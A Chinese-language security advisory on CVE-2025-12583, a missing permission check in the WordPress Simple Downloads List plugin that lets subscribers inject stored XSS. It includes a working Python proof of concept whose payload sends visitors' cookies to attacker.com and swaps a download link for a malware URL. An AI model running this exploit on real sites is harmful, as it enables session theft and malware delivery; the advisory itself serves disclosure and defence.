IPBUF安全漏洞报告
English
CVE-2025-12583 CVSS 6.4 中危

CVE-2025-12583 WordPress Simple Downloads List插件权限绕过漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-12583
漏洞类型
权限绕过/存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Simple Downloads List plugin for WordPress

相关标签

CVE-2025-12583WordPress插件漏洞权限绕过存储型XSSAJAX端点Simple Downloads List缺少权限检查IDOR

漏洞概述

Simple Downloads List是WordPress平台上一款常用的下载列表管理插件。该插件在1.4.3及之前版本中存在严重的安全漏洞,由于多个AJAX端点(包括wp_ajax_neofix_sdl_edit)缺少权限检查,认证攻击者可以利用订阅者级别(Subscriber)及以上的账户权限,修改插件的下载设置和内容数据。攻击者能够注入恶意JavaScript代码到下载列表中,当其他用户访问包含恶意内容的页面时,会触发存储型跨站脚本(Stored XSS)攻击,窃取Cookie、会话令牌或其他敏感信息。此漏洞影响所有使用该插件的WordPress网站,建议立即更新至1.5.0或更高版本。

技术细节

漏洞根源在于Simple Downloads List插件的admin/adminpanel_v3.php文件中,多个AJAX处理函数未正确验证用户权限。正常情况下,WordPress的AJAX端点应该使用current_user_can()或wp_verify_nonce()等函数验证操作权限,但该插件直接处理请求而未进行权限校验。具体来说,wp_ajax_neofix_sdl_edit端点允许任何已认证用户(包括最低权限的Subscriber角色)调用,攻击者可通过构造恶意POST请求,修改下载项的标题、链接、描述等字段,并插入<script>标签或事件处理器(如onerror、onclick)实现XSS攻击。由于数据存储在WordPress数据库中,所有访问相关页面的用户都会受到攻击。攻击者还可能修改下载URL指向恶意资源,进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的有效Subscriber级别账户或通过其他方式获取认证会话
STEP 2
步骤2
攻击者构造恶意AJAX请求,指向wp_ajax_neofix_sdl_edit端点
STEP 3
步骤3
在请求参数中注入XSS payload(如<script>标签或事件处理器)到下载项的标题、描述等字段
STEP 4
步骤4
由于端点缺少wp_verify_nonce()和current_user_can()验证,请求被成功处理,数据存入数据库
STEP 5
步骤5
当其他用户访问显示下载列表的页面时,恶意脚本被执行,窃取Cookie或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12583 PoC - Simple Downloads List <= 1.4.3 Unauthorized Modification # Target: WordPress site with Simple Downloads List plugin target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress.local' # Authenticated session with Subscriber-level user session = requests.Session() # Login as subscriber user login_url = f'{target}/wp-login.php' login_data = { 'log': 'subscriber_user', 'pwd': 'subscriber_password', 'wp-submit': 'Log In' } # Get nonce and login resp = session.get(login_url) login_data['_wpnonce'] = resp.text.split('id="_wpnonce"')[0].split('value="')[-1].split('"')[0] session.post(login_url, data=login_data) # Exploit: Modify download settings and inject XSS via AJAX endpoint ajax_url = f'{target}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'neofix_sdl_edit', 'sdl_title': '<script>alert("XSS")</script>', 'sdl_url': 'http://malicious-site.com/malware.exe', 'sdl_description': '<img src=x onerror=document.location="http://attacker.com/steal?c="+document.cookie>', 'sdl_id': '1' } response = session.post(ajax_url, data=exploit_data) print(f'Status: {response.status_code}') print(f'Response: {response.text}') print('\nXSS payload injected. Visit any page displaying the download list.')

影响范围

Simple Downloads List plugin for WordPress <= 1.4.3

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1) 临时禁用Simple Downloads List插件;2) 使用WordPress安全插件(如Wordfence)添加规则阻止对wp_ajax_neofix_sdl_edit端点的恶意请求;3) 限制非管理员用户的访问权限;4) 添加额外的应用层防火墙规则。但最有效的解决方案仍是升级到插件的最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表